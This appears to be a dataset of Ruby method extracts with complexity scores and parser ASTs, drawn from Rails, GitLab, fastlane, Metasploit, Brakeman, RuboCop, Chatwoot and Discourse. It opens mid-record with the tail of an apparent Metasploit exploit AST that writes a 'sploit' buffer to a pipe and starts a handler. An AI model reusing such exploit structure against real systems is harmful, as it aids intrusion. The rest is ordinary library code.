written...\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"pipe\"]},\"write\",{\"type\":\"lvar\",\"children\":[\"sploit\"]}]},{\"type\":\"send\",\"children\":[null,\"handler\"]},{\"type\":\"send\",\"children\":[null,\"disconnect\"]}]}]}","id":"20ee344b-aee8-4430-9f22-c7a0d150754f"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/lib/brakeman/report/report_text.rb","start_line":163,"raw_source":"def format_line w, option\n    case option\n    when :confidence\n      label('Confidence', confidence(w.confidence))\n    when :category\n      label('Category', w.warning_type.to_s)\n    when :cwe\n      label('CWE', w.cwe_id.join(', '))\n    when :check\n      label('Check', w.check_name)\n    when :message\n      label('Message', w.message)\n    when :code\n      if w.code\n        label('Code', format_code(w))\n      end\n    when :file\n      label('File', warning_file(w))\n    when :line\n      if w.line\n        label('Line', w.line)\n      end\n    when :link\n      label('Link', w.link)\n    when :fingerprint\n      label('Fingerprint', w.fingerprint)\n    when :category_id\n      label('Category ID', w.warning_code)\n    when :render_path\n      if w.called_from\n        label('Render Path', w.called_from.join(\" > \"))\n      end\n    end\n  end","complexity_score":59.7,"ast_json":"{\"type\":\"def\",\"children\":[\"format_line\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"w\"]},{\"type\":\"arg\",\"children\":[\"option\"]}]},{\"type\":\"case\",\"children\":[{\"type\":\"lvar\",\"children\":[\"option\"]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"confidence\"]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Confidence\"]},{\"type\":\"send\",\"children\":[null,\"confidence\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"confidence\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"category\"]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Category\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"warning_type\"]},\"to_s\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"cwe\"]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"CWE\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"cwe_id\"]},\"join\",{\"type\":\"str\",\"children\":[\", \"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"check\"]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Check\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"check_name\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"message\"]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Message\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"message\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"code\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"code\"]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Code\"]},{\"type\":\"send\",\"children\":[null,\"format_code\",{\"type\":\"lvar\",\"children\":[\"w\"]}]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"File\"]},{\"type\":\"send\",\"children\":[null,\"warning_file\",{\"type\":\"lvar\",\"children\":[\"w\"]}]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"line\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"line\"]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"line\"]}]},null]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"link\"]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Link\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"link\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"fingerprint\"]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Fingerprint\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"fingerprint\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"category_id\"]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Category ID\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"warning_code\"]}]}]},{\"type\":\"when\",\"children\":[{\"type\":\"sym\",\"children\":[\"render_path\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"called_from\"]},{\"type\":\"send\",\"children\":[null,\"label\",{\"type\":\"str\",\"children\":[\"Render Path\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"w\"]},\"called_from\"]},\"join\",{\"type\":\"str\",\"children\":[\" > \"]}]}]},null]}]},null]}]}","id":"5d3ec030-2d59-47dc-b1e3-7886fc5891d7"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/spec/support/shared_examples/lib/gitlab/usage_data_counters/code_review_extension_request_examples.rb","start_line":10,"raw_source":"def count_unique(date_from:, date_to:)\n    Gitlab::UsageDataCounters::HLLRedisCounter.unique_events(event_names: action, start_date: date_from, end_date: date_to)\n  end","complexity_score":2.2,"ast_json":"{\"type\":\"def\",\"children\":[\"count_unique\",{\"type\":\"args\",\"children\":[{\"type\":\"kwarg\",\"children\":[\"date_from\"]},{\"type\":\"kwarg\",\"children\":[\"date_to\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"UsageDataCounters\"]},\"HLLRedisCounter\"]},\"unique_events\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"event_names\"]},{\"type\":\"send\",\"children\":[null,\"action\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"start_date\"]},{\"type\":\"lvar\",\"children\":[\"date_from\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"end_date\"]},{\"type\":\"lvar\",\"children\":[\"date_to\"]}]}]}]}]}","id":"93b63cda-95c0-45cd-a7c5-e673a61b7c4e"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/deliver/lib/deliver/runner.rb","start_line":137,"raw_source":"def upload_metadata\n      upload_metadata = UploadMetadata.new(options)\n      upload_screenshots = UploadScreenshots.new\n\n      # First, collect all the things for the HTML Report\n      screenshots = upload_screenshots.collect_screenshots(options)\n      upload_metadata.load_from_filesystem\n\n      # Assign \"default\" values to all languages\n      upload_metadata.assign_defaults\n\n      # Validate\n      validate_html(screenshots)\n\n      # Commit\n      upload_metadata.upload\n\n      if options[:sync_screenshots]\n        sync_screenshots = SyncScreenshots.new(app: Deliver.cache[:app], platform: Spaceship::ConnectAPI::Platform.map(options[:platform]))\n        sync_screenshots.sync(screenshots)\n      else\n        upload_screenshots.upload(options, screenshots)\n      end\n\n      UploadPriceTier.new.upload(options)\n    end","complexity_score":32.8,"ast_json":"{\"type\":\"def\",\"children\":[\"upload_metadata\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"upload_metadata\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadMetadata\"]},\"new\",{\"type\":\"send\",\"children\":[null,\"options\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"upload_screenshots\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadScreenshots\"]},\"new\"]}]},{\"type\":\"lvasgn\",\"children\":[\"screenshots\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_screenshots\"]},\"collect_screenshots\",{\"type\":\"send\",\"children\":[null,\"options\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_metadata\"]},\"load_from_filesystem\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_metadata\"]},\"assign_defaults\"]},{\"type\":\"send\",\"children\":[null,\"validate_html\",{\"type\":\"lvar\",\"children\":[\"screenshots\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_metadata\"]},\"upload\"]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"sync_screenshots\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"sync_screenshots\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SyncScreenshots\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Deliver\"]},\"cache\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"app\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"platform\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Spaceship\"]},\"ConnectAPI\"]},\"Platform\"]},\"map\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"options\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"platform\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sync_screenshots\"]},\"sync\",{\"type\":\"lvar\",\"children\":[\"screenshots\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload_screenshots\"]},\"upload\",{\"type\":\"send\",\"children\":[null,\"options\"]},{\"type\":\"lvar\",\"children\":[\"screenshots\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UploadPriceTier\"]},\"new\"]},\"upload\",{\"type\":\"send\",\"children\":[null,\"options\"]}]}]}]}","id":"1aac9586-ca56-4b64-a877-0633568aa133"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb","start_line":1728,"raw_source":"def tab_complete_channels\n    client.channels.keys.map { |k| k.to_s }\n  end","complexity_score":7.3,"ast_json":"{\"type\":\"def\",\"children\":[\"tab_complete_channels\",{\"type\":\"args\",\"children\":[]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"client\"]},\"channels\"]},\"keys\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"k\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"k\"]},\"to_s\"]}]}]}","id":"485fc54a-de37-44e3-b1a6-6b98a80702ad"}
{"repo_name":"brakeman","file_path":"./repos/brakeman/test/tests/output_processor.rb","start_line":96,"raw_source":"def test_output_format\n    assert_output \"[Format] @x\", Sexp.new(:format, Sexp.new(:ivar, :@x))\n  end","complexity_score":3.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_output_format\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"assert_output\",{\"type\":\"str\",\"children\":[\"[Format] @x\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"format\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Sexp\"]},\"new\",{\"type\":\"sym\",\"children\":[\"ivar\"]},{\"type\":\"sym\",\"children\":[\"@x\"]}]}]}]}]}","id":"f4886368-d811-41ce-9922-4d40b358d749"}
{"repo_name":"rails","file_path":"./repos/rails/railties/lib/rails/test_unit/runner.rb","start_line":179,"raw_source":"def derive_line_filters(patterns)\n          patterns.flat_map do |file, lines|\n            if lines.empty?\n              Filter.new(@runnable, file, nil) if file\n            else\n              lines.map { |line| Filter.new(@runnable, file, line) }\n            end\n          end\n        end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"derive_line_filters\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"patterns\"]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"patterns\"]},\"flat_map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"file\"]},{\"type\":\"arg\",\"children\":[\"lines\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"empty?\"]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@runnable\"]},{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"nil\",\"children\":[]}]},null]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"lines\"]},\"map\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Filter\"]},\"new\",{\"type\":\"ivar\",\"children\":[\"@runnable\"]},{\"type\":\"lvar\",\"children\":[\"file\"]},{\"type\":\"lvar\",\"children\":[\"line\"]}]}]}]}]}]}","id":"5f2486af-6715-42c9-a486-68cfb4f0d353"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/tables_truncate.rb","start_line":148,"raw_source":"def single_database_setup?\n        return true unless Gitlab::Database.has_config?(:ci)\n\n        ci_base_model = Gitlab::Database.database_base_models[:ci]\n        !!Gitlab::Database.db_config_share_with(ci_base_model.connection_db_config)\n      end","complexity_score":10.4,"ast_json":"{\"type\":\"def\",\"children\":[\"single_database_setup?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"has_config?\",{\"type\":\"sym\",\"children\":[\"ci\"]}]},null,{\"type\":\"return\",\"children\":[{\"type\":\"true\",\"children\":[]}]}]},{\"type\":\"lvasgn\",\"children\":[\"ci_base_model\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"database_base_models\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"ci\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Database\"]},\"db_config_share_with\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"ci_base_model\"]},\"connection_db_config\"]}]},\"!\"]},\"!\"]}]}]}","id":"d51449d9-d488-4d2f-a816-daa751a22b5d"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/database/migration_helpers/require_disable_ddl_transaction_for_multiple_locks.rb","start_line":89,"raw_source":"def should_skip_sql_statement?(sql)\n          sql.empty? ||\n            sql.start_with?('SET', 'BEGIN', 'COMMIT', 'ROLLBACK') ||\n            sql.include?('pg_locks') ||\n            (sql.start_with?('SELECT') && sql.exclude?('FOR UPDATE') && sql.exclude?('FOR SHARE'))\n        end","complexity_score":14.0,"ast_json":"{\"type\":\"def\",\"children\":[\"should_skip_sql_statement?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"sql\"]}]},{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"or\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"empty?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"SET\"]},{\"type\":\"str\",\"children\":[\"BEGIN\"]},{\"type\":\"str\",\"children\":[\"COMMIT\"]},{\"type\":\"str\",\"children\":[\"ROLLBACK\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"include?\",{\"type\":\"str\",\"children\":[\"pg_locks\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"start_with?\",{\"type\":\"str\",\"children\":[\"SELECT\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"exclude?\",{\"type\":\"str\",\"children\":[\"FOR UPDATE\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sql\"]},\"exclude?\",{\"type\":\"str\",\"children\":[\"FOR SHARE\"]}]}]}]}]}]}","id":"90b86dc1-f351-453e-98e1-ab252c7b4b83"}
{"repo_name":"rubocop","file_path":"./repos/rubocop/lib/rubocop/cop/style/redundant_string_escape.rb","start_line":119,"raw_source":"def array_literal?(node, prefix)\n          if literal_in_interpolated_or_multiline_string?(node)\n            array_literal?(node.parent, prefix)\n          else\n            node.parent&.array_type? && node.parent.source.start_with?(prefix)\n          end\n        end","complexity_score":12.4,"ast_json":"{\"type\":\"def\",\"children\":[\"array_literal?\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"node\"]},{\"type\":\"arg\",\"children\":[\"prefix\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"literal_in_interpolated_or_multiline_string?\",{\"type\":\"lvar\",\"children\":[\"node\"]}]},{\"type\":\"send\",\"children\":[null,\"array_literal?\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},{\"type\":\"lvar\",\"children\":[\"prefix\"]}]},{\"type\":\"and\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"array_type?\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"node\"]},\"parent\"]},\"source\"]},\"start_with?\",{\"type\":\"lvar\",\"children\":[\"prefix\"]}]}]}]}]}","id":"e7f56633-7156-4efd-9bcd-b4acd38bfe23"}
{"repo_name":"chatwoot","file_path":"./repos/chatwoot/lib/integrations/slack/incoming_message_builder.rb","start_line":74,"raw_source":"def link_shared?\n    params[:event][:type] == 'link_shared'\n  end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"link_shared?\",{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"params\"]},\"[]\",{\"type\":\"sym\",\"children\":[\"event\"]}]},\"[]\",{\"type\":\"sym\",\"children\":[\"type\"]}]},\"==\",{\"type\":\"str\",\"children\":[\"link_shared\"]}]}]}","id":"3a03abcb-3b39-47e3-8fb0-735fc0ff3868"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/executor_test.rb","start_line":20,"raw_source":"def close\n      @on_close.call if @on_close\n    end","complexity_score":2.1,"ast_json":"{\"type\":\"def\",\"children\":[\"close\",{\"type\":\"args\",\"children\":[]},{\"type\":\"if\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@on_close\"]},{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@on_close\"]},\"call\"]},null]}]}","id":"4a8b992e-e555-46cf-bc95-c680bdd632aa"}
{"repo_name":"discourse","file_path":"./repos/discourse/script/import_scripts/modx.rb","start_line":26,"raw_source":"def initialize\n    super\n\n    SiteSetting.disable_emails = \"non-staff\"\n\n    @old_username_to_new_usernames = {}\n\n    @tz = TZInfo::Timezone.get(TIMEZONE)\n\n    @htmlentities = HTMLEntities.new\n\n    @client =\n      Mysql2::Client.new(host: DB_HOST, username: DB_USER, password: DB_PW, database: DB_NAME)\n  rescue Exception => e\n    puts \"=\" * 50\n    puts e.message\n    puts <<~TEXT\n      Cannot connect in to database.\n\n      Hostname: #{DB_HOST}\n      Username: #{DB_USER}\n      Password: #{DB_PW}\n      database: #{DB_NAME}\n\n      Edit the script or set these environment variables:\n\n      export DB_HOST=\"localhost\"\n      export DB_NAME=\"modx\"\n      export DB_PW=\"modx\"\n      export DB_USER=\"modx\"\n      export TABLE_PREFIX=\"modx_\"\n      export ATTACHMENT_DIR '/path/to/your/attachment/folder'\n\n      Exiting.\n    TEXT\n    exit\n  end","complexity_score":19.08,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"zsuper\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"SiteSetting\"]},\"disable_emails=\",{\"type\":\"str\",\"children\":[\"non-staff\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@old_username_to_new_usernames\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"ivasgn\",\"children\":[\"@tz\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"TZInfo\"]},\"Timezone\"]},\"get\",{\"type\":\"const\",\"children\":[null,\"TIMEZONE\"]}]}]},{\"type\":\"ivasgn\",\"children\":[\"@htmlentities\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"HTMLEntities\"]},\"new\"]}]},{\"type\":\"ivasgn\",\"children\":[\"@client\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Mysql2\"]},\"Client\"]},\"new\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"host\"]},{\"type\":\"const\",\"children\":[null,\"DB_HOST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"username\"]},{\"type\":\"const\",\"children\":[null,\"DB_USER\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"password\"]},{\"type\":\"const\",\"children\":[null,\"DB_PW\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"database\"]},{\"type\":\"const\",\"children\":[null,\"DB_NAME\"]}]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exception\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"=\"]},\"*\",{\"type\":\"int\",\"children\":[50]}]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"e\"]},\"message\"]}]},{\"type\":\"send\",\"children\":[null,\"puts\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Cannot connect in to database.\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Hostname: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_HOST\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Username: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_USER\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Password: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_PW\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"database: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"const\",\"children\":[null,\"DB_NAME\"]}]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Edit the script or set these environment variables:\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"export DB_HOST=\\\"localhost\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"export DB_NAME=\\\"modx\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"export DB_PW=\\\"modx\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"export DB_USER=\\\"modx\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"export TABLE_PREFIX=\\\"modx_\\\"\\n\"]},{\"type\":\"str\",\"children\":[\"export ATTACHMENT_DIR '/path/to/your/attachment/folder'\\n\"]},{\"type\":\"str\",\"children\":[\"\\n\"]},{\"type\":\"str\",\"children\":[\"Exiting.\\n\"]}]}]},{\"type\":\"send\",\"children\":[null,\"exit\"]}]}]},null]}]}","id":"2d7d578d-eec4-4e20-bf1d-5cc4fe1ecb12"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/discourse_dev/category.rb","start_line":35,"raw_source":"def permissions\n      return @permissions if @permissions.present?\n      return { everyone: :full } if Faker::Boolean.boolean(true_ratio: 0.75)\n\n      permission = {}\n      group = Group.random\n      permission[group.id] = Faker::Number.between(from: 1, to: 3)\n\n      permission\n    end","complexity_score":10.9,"ast_json":"{\"type\":\"def\",\"children\":[\"permissions\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@permissions\"]},\"present?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"ivar\",\"children\":[\"@permissions\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Boolean\"]},\"boolean\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"true_ratio\"]},{\"type\":\"float\",\"children\":[0.75]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"everyone\"]},{\"type\":\"sym\",\"children\":[\"full\"]}]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"permission\",{\"type\":\"hash\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"group\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Group\"]},\"random\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"permission\"]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"group\"]},\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Faker\"]},\"Number\"]},\"between\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"from\"]},{\"type\":\"int\",\"children\":[1]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"to\"]},{\"type\":\"int\",\"children\":[3]}]}]}]}]},{\"type\":\"lvar\",\"children\":[\"permission\"]}]}]}","id":"4910f6d8-5012-4aa4-ab40-f4541a0419c4"}
{"repo_name":"fastlane","file_path":"./repos/fastlane/fastlane/lib/fastlane/actions/check_app_store_metadata.rb","start_line":26,"raw_source":"def self.available_options\n        require 'precheck/options'\n        Precheck::Options.available_options\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"available_options\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"precheck/options\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Precheck\"]},\"Options\"]},\"available_options\"]}]}]}","id":"77a71e2c-26db-4c3e-b373-b8cdc7a0fb2d"}
